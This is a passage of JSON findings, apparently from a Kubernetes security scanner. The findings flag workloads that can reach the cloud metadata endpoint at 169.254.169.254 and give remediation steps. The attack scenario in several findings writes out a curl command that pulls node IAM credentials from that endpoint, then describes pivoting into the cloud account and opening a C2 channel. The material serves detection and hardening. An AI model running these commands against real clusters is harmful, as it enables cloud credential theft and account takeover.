    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `vulnerable` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec host-ns-app -n vulnerable -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:vulnerable:risky-app",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/vulnerable/risky-app` uses `hostNetwork: true`, so 169.254.169.254 (cloud IMDS) is reachable regardless of NetworkPolicy",
    "description": "Workload `Deployment/vulnerable/risky-app` runs in namespace `vulnerable` with `spec.hostNetwork: true`, which means its pods share the node's network namespace. NetworkPolicies do not apply to host-network pods (they operate on the pod's own netns), so any egress restriction defined in this namespace is bypassed. The pod can open connections to `169.254.169.254` exactly as if it were running on the node directly.\n\nhostNetwork is commonly enabled for cluster infrastructure: CNI agents, monitoring daemons (`node-exporter`, Datadog Agent), log shippers, ingress controllers. These workloads usually need it, but they also become the highest-value pivot targets in the cluster because they sit on the node IAM identity with no NetPol gating.\n\nThe NetworkPolicy-layer defense does not exist for these pods. The only defenses are (a) keep their image surface area and RBAC tight so the pod is hard to compromise, (b) on AWS set IMDSv2 hop-limit = 1 at the nodegroup so even host-network requests through the node's NIC are denied at the hypervisor, and (c) where the workload truly does not need cloud credentials, drop `hostNetwork: true` in favor of a host-network-less alternative.",
    "resource": {
      "kind": "Deployment",
      "name": "risky-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/risky-app`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised host-network pod inherits the node's IMDS reachability with zero NetworkPolicy enforcement; container RCE -\u003e cloud-account compromise is a single curl, even when the namespace looks tightly locked down.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/vulnerable/risky-app` (host-network pod, often a monitoring sidecar or CNI helper).",
      "They issue `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/` from inside the pod. The request is served by the node's network stack, not the pod's, so any namespace-level egress NetworkPolicy is irrelevant.",
      "They scrape the node IAM role's STS credentials and call `aws sts get-caller-identity` to enumerate reach.",
      "They pivot into the cloud account: list other clusters' worker-node roles, read RDS secrets, enumerate S3 buckets, depending on the node IAM scope.",
      "The operator's NetworkPolicy is intact in `kubectl get netpol` and looks correct in dashboards, masking that this specific workload is exempt."
    ],
    "evidence": {
      "reason": "host-network",
      "workload_kind": "Deployment",
      "workload_name": "risky-app",
      "workload_namespace": "vulnerable"
    },
    "remediation": "NetworkPolicy cannot gate host-network pods. Drop `hostNetwork: true` if the workload does not strictly require it, otherwise enforce IMDSv2 hop-limit = 1 at the nodegroup so the IAM credentials path is denied at the hypervisor.",
    "remediation_steps": [
      "Audit why `Deployment/vulnerable/risky-app` needs `hostNetwork: true`. Common reasons (CNI helper, host-port log shipper) are legitimate; most application workloads do not.",
      "If hostNetwork is not strictly required, remove it from the pod template and re-deploy under namespace-level NetworkPolicy controls.",
      "If hostNetwork must stay, on AWS set the launch-template `HttpPutResponseHopLimit = 1` for the EKS nodegroup so IMDSv2 token requests originating from host-network pods are denied at the hypervisor (PacketTTL = 1 prevents the second hop the token request needs).",
      "Bind the workload's ServiceAccount to a least-privileged IRSA role so it never needs to fall back to the node IAM role.",
      "Validate from inside the pod: `kubectl exec risky-app -n vulnerable -- curl --max-time 3 http://169.254.169.254/latest/meta-data/iam/security-credentials/` must time out (it will succeed today)."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:host-network"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:vulnerable:root-runner",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/vulnerable/root-runner` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/vulnerable/root-runner` runs in namespace `vulnerable` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "root-runner",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/root-runner`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/vulnerable/root-runner` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "root-runner",
      "workload_namespace": "vulnerable"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `vulnerable` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec root-runner -n vulnerable -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:vulnerable:socket-mounts-app",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/vulnerable/socket-mounts-app` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/vulnerable/socket-mounts-app` runs in namespace `vulnerable` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "socket-mounts-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/socket-mounts-app`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/vulnerable/socket-mounts-app` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "socket-mounts-app",
      "workload_namespace": "vulnerable"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `vulnerable` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec socket-mounts-app -n vulnerable -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Job:gw-workloads:gw-batch",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Job/gw-workloads/gw-batch` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Job/gw-workloads/gw-batch` runs in namespace `gw-workloads` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Job",
      "name": "gw-batch",
      "namespace": "gw-workloads",
      "api_group": "batch"
    },
    "namespace": "gw-workloads",
    "scope": {
      "level": "workload",
      "detail": "Workload `Job/gw-workloads/gw-batch`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Job/gw-workloads/gw-batch` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Job",
      "workload_name": "gw-batch",
      "workload_namespace": "gw-workloads"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `gw-workloads` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec gw-batch -n gw-workloads -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Pod:foothold-exec:foothold-decoy",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Pod/foothold-exec/foothold-decoy` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Pod/foothold-exec/foothold-decoy` runs in namespace `foothold-exec` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Pod",
      "name": "foothold-decoy",
      "namespace": "foothold-exec"
    },
    "namespace": "foothold-exec",
    "scope": {
      "level": "workload",
      "detail": "Workload `Pod/foothold-exec/foothold-decoy`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Pod/foothold-exec/foothold-decoy` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Pod",
      "workload_name": "foothold-decoy",
      "workload_namespace": "foothold-exec"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `foothold-exec` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec foothold-decoy -n foothold-exec -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Pod:foothold-exec:foothold-target",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Pod/foothold-exec/foothold-target` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
